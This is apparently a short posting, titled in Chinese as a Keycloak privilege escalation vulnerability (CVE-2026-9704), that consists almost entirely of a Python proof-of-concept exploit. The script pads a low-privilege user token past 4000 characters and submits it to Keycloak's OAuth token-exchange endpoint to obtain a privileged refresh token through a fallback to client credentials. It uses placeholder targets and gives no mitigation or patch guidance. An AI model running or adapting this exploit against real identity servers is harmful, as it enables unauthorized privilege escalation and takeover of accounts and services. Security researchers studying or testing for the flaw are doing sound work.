CVE-2026-9704 Keycloak 权限提升漏洞

import requests def exploit_keycloak_privilege_escalation(target_url, client_id, valid_user_token): """ PoC for CVE-2026-9704 Exploits the logic flaw where an oversized subject_token causes a fallback to client credentials. """ token_endpoint = f"{target_url}/realms/master/protocol/openid-connect/token" # Create an oversized subject_token (> 4000 characters) # In a real scenario, this might be a valid JWT header padded with junk oversized_token = valid_user_token + "A" * (4001 - len(valid_user_token)) payload = { "grant_type": "urn:ietf:params:oauth:grant-type:token-exchange", "client_id": client_id, "subject_token": oversized_token, "requested_token_type": "urn:ietf:params:oauth:token-type:refresh_token" } try: response = requests.post(token_endpoint, data=payload) if response.status_code == 200: print("[+] Exploit successful! Token received:") print(response.json()) else: print("[-] Exploit failed or patched.") print(response.text) except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Replace with actual target details TARGET = "https://localhost:8080" CLIENT_ID = "vulnerable-client" USER_TOKEN = "valid.low.priv.token" exploit_keycloak_privilege_escalation(TARGET, CLIENT_ID, USER_TOKEN)